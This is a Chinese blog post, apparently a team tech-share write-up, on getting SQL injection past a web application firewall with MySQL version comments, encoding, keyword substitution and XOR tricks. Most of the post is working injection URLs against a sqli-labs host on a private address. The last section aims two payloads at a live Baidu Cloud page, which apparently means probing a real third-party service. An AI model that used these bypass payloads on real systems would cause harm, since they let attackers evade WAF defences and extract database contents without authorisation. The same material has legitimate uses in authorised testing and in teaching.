• sql_waf绕过


    对于常规渗透时waf的存在可是妨碍了我等一众小白,刚好趁着小组内部技术分享的机会自己也好好总结了下绕过的方法。

    甲、绕过方法

     

    上述的部分方法我没有写到,感兴趣的可以问问度娘。

    大小写
    双写
    注释:

    这里可以注释语句把关键词进行注释,这里注意,/* ....  */ 在大部分语言中都一样是注释。这个之中的语句是不被执行的。
    但MYSQL中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
    /*!50000select*/中50000是数据库版本号的意思,在版本号低于5.00.00时可以执行语句。
    http://192.168.188.128:8000/sqli/Less-1/?id=-1' /*!40000union*/ select 1,2,version()--+


    空格替换:

    在数据包传输中,特殊字符会被url编码,在服务器处理时进行解码。这样可以在前端过滤空格的情况下在输入特定字符的url编码,以便执行期望语句。空格 tab 换行
    E是科学计数法的表示,为以10为底的指数。1E0就是1*10^0
    select@1,2,3
    http://192.168.188.128:8000/sqli/Less-1/?id=-2' union/*!90000aaa*/select/*!90000aaa*/1,2,3/*!90000aaa*/--+


    URL编码:

    把关键词做url编码,绕过。
    http://192.168.188.128:8000/sqli/Less-1/?id=-2' union/*!90000aaa*/%73elect/*!90000aaa*/1,2,3/*!90000aaa*/--+


    引号绕过:

    把引号内的关键词进行16进制转换

    union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users’--+

    select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

    关键词替换:

    可以对关键词进行同义替换
    http://192.168.188.128:8000/sqli/Less-1/?id=-1' || 1=1--+
    /Nfrom 

    Post分块传输:

    分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。

    语句替换:

    http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/* from (select 1)a join (select 2)b join (select database())c/*!90000aaaa*/--+
    这样可以绕过对于user()、database()等查询语句的过滤。


    异或:

    union,and被完全过滤掉了
    select * from test where A xor B
    A真b假 查a;A假b真 查b;A真b真查a的值,这里一般来说是a的查询结果中不包含b的值,根据实际情况会不同。
    一般配合fuzz字符进行测试id=1' xor .7/*!union*/
    http://192.168.188.128:8000/sqli/Less-1/?id=-1' xor 0.4/*!40000union*/ select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users’--+
    http://192.168.188.128:8000/sqli/Less-1/?id=1' xor .7/*!union*/ select 1,database(),group_concat(column_name) from information_schema.columns where table_name ='users’--+

    乙、实战


    拦截http://192.168.188.128:8000/sqli/Less-1/?id=1' order by 4--+
    不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=1'/*!90000aaa*//*!40000order*//*!90000aa*//*!40000by*/4--+
    不拦截http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,3--+
    看下数据库名称:
    拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,database()--+
    这时候尝试可以得知拦截了database()关键词,使用语句替换查询语句
    不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/* from (select 1)a join (select 2)b join (select database())c/*!90000aaaa*/--+

    接下来我们查询下数据库下表内容:
    不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,group_concat(table_name)/*!90000aaaa*/from/*!90000aaaa*/information_schema.tables/*!90000aaaa*/where/*!90000aaaa*/table_schema='security'/*!90000aaaa*/--+


    拦截 http://192.168.188.128:8000/sqli/Less-6/?id=2"%20updatexml/*!*/(1,concat(0x7e,(/*!select*//*!user*/()),0x7e),1)--+
    这种情况会被拦截,提示不能使用updatabase语句,在前面尝试加字符进行fuzz测试。这里用收藏的fuzz字典直接跑。
    不拦截 http://192.168.188.128:8000/sqli/Less-6/?id=2"%20--updatexml/*!*/(1,concat(0x7e,(/*!select*//*!user*/()),0x7e),1)--+
    fuzz
    不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**/"--"/*!union*//*!select@1*/,2,database/**/()--+

    百度云
    https://su.baidu.com/home/agency-api-doc?id=1&& .4extractvalue(1,concat(0x7e,(database())))--+
    https://su.baidu.com/home/agency-api-doc?id=-1' || .4union--%0a--%0aselect1,2,3--+

  • 相关阅读:
    jQuery实现动态搜索显示功能
    面试
    Struts1和Struts2的区别和对比(完整版)
    JAVA调用增删改的存储过程
    Spring MVC入门
    jQuery Ajax通用js封装
    js ==与===区别
    shell脚本awk
    C++对象模型初窥
    再见,2021
  • 原文地址:https://www.cnblogs.com/pykiller/p/13949086.html
Copyright © 2020-2023  润新知